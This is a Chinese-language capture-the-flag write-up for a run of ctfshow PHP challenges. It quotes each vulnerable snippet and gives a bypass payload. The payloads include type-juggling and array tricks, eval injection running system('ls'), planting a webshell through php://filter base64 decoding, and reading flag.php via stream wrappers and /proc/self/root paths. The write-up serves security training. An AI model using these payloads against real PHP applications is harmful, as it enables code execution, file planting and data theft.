if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
我们可以利用preg_match的特性,让第一个if判断为false
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match()返回 FALSE。
payload:
num[]=1
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval()函数用于获取变量的整数值。
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
传入十六进制的即可,intval会自动转为十进制
0x117c
int intval ( mixed $var [, int $base = 10 ] )参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
或者也可以传入4776a,这样intval转换后也变成了4776
if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
m:开启多行匹配
换行符绕过即可,%0aphp
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
https://blog.csdn.net/qq_46091464/article/details/108278486
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
这道题仍然可以用十六进制绕过,八进制绕过,科学技术法绕过
payload:
010574 0x117c 4476e2(科学计数法,在第一个if中判断为数字,在第二个中判断为字符串强转4476)
intval函数文档:
https://www.runoob.com/php/php-intval-function.html
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
过滤了所有字母,这个时候只能用八进制绕过,因为八进制全是数字
payload:010574
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }
如何绕过 if(!strpos($num, "0"))
strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的话又会die.
payload:
?num= 010574 ?num=%20010574 ?num=4476.0 ?num=+4476.0
$num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }
过滤了点,但是仍可以用上一题部分payload
加个新的payload:
%2b010574
if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
用相对路径和绝对路径表示,绕过判断
payload:
./flag.php /var/html/www/flag.php
if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag;
https://blog.csdn.net/EC_Carrot/article/details/109525162
这里用数组绕过
payload:
a[]=1&b[]=2
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
三目运算符,传递了地址
等同于下面改写后的代码
<?php include('flag.php'); if($_GET){ $_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地 址) }else{ "flag"; } if($_GET['flag']=='flag'){ $_GET=&$_COOKIE; }else{ 'flag'; } if($_GET['flag']=='flag'){ $_GET=&$_SERVER; }else{ 'flag'; } if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag highlight_file($flag); }else{ highlight_file(__FILE__); }
因此用get随意传一个参数,然后传入HTTP_FLAG为flag即可
$allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
0x36d转换来就是877
rand() 函数生成随机整数。提示:如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。
目标是通过file_put_contents写入一句话
利用in_array()函数的特性写入1.php
https://www.runoob.com/php/func-array-in-array.html
in_array第三个参数未设置时,会自动转换类型与数组中的元素比较,因此传入n=1.php时自动转为n=1即可绕过
include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
1.php中的运算优先级https://www.php.net/manual/zh/language.operators.precedence.php
&& > || > = > and > or
不难发现=的优先级比and高,于是出现了:
<?php $a=true and false and false; var_dump($a); 返回true $a=true && false && false; var_dump($a); 返回false **2.v2不能有; v3要有;**
payload:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
因为要保证语法正确,所以把中间的注释掉了
3.可以用反射类来输出指定类中的属性,方法等元素
https://www.php.net/manual/zh/class.reflectionclass.php
反射类的用法:
<?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
因此我们构造
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/; 或者 ?v1=1&v2=echo new ReflectionClass&v3=;
4.
非预期:
因为过滤的字符比较少,所以可以直接执行命令。 方法不固定,在此聚两个例子 v1=1&v2=?><?php echo `ls`?>/*&v3=;*/ v1=1&v2=-system('ls')-&v3=-1;
5.坑
flag_is_963dd0f50x2d9ccc0x2d49160x2dbab10x2d719d497773e6"
这里要把0x2d是十六进制编码后的-,需要转换
//flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } }
过滤了大多数符号,使用反射类继续绕过,v3可以传 ;
?v1=1&v2=echo new ReflectionClass&v3=;
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
v2需要是数字,其他没什么过滤的地方,且v2是我们要写入的一句话
可以考虑用伪协议base64写入,之前用十六进制编码,由 $str = call_user_func($v1,$s);这里解码
$a='<?=cat *
;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
payload:
v2=5044383959474e6864434171594473 v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
如果题目环境在php5,则可以识别十六进制数
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
给str增加了过滤,那我们写入短标签的一句话即可
if(sha1($v1)==sha1($v2)){ echo $flag; }
sha1()可以和md5()同等对待,数组绕过即可
v1[]=1&v2[]=2
$error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
变量覆盖
我们传入?suces=flag,让$suces=$flag
然后再传入error=suces,这样$error也是flag的值,而页面会die($error)输出flag
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
数组绕过或者传入
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
都是sha1后弱比较相等的值
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
parse_str():https://www.php.net/manual/zh/function.parse-str.php
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
例如:
$a='q=123&p=456'; parse_str($a,$b); echo $b['q']; //输出123 echo $b['p']; //输出456
数组绕过,md5加密数组会返回null
?v3[]=1 v1[]=flag=0
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
ereg — 正则表达式匹配
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
payload:
?c=a%00aaaa778
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
这个结构很像是要用反射类,本地调试eval("echo new ReflectionClass(system('dir'));"); 可以执行命令
paylaod:
?v1=ReflectionClass&v2=system('ls') ?v1=Exception&v2=system('ls')
https://www.jianshu.com/p/d02cbde1cdd7
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); }
使用新类,FilesystemIterator类的使用(作用就是获取当前目录文件)
本地测试:eval("echo new FilesystemIterator(getcwd());");
输出了当前工作目录目录的文件结构
https://www.bianchengquan.com/article/600550.html
v1=FilesystemIterator&v2=getcwd
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }
使用超全局变量$GLOBALS输出所有定义的变量
payload:
?v1=ctfshow&v2=GLOBALS
function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
伪协议
?file=php://filter/resource=flag.php ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php ?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
?file=compress.zlib://flag.php仍然适用
另一种思路:在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
https://www.anquanke.com/post/id/213235?from=timeline
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
没有过滤filter
?file=php://filter/resource=flag.php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }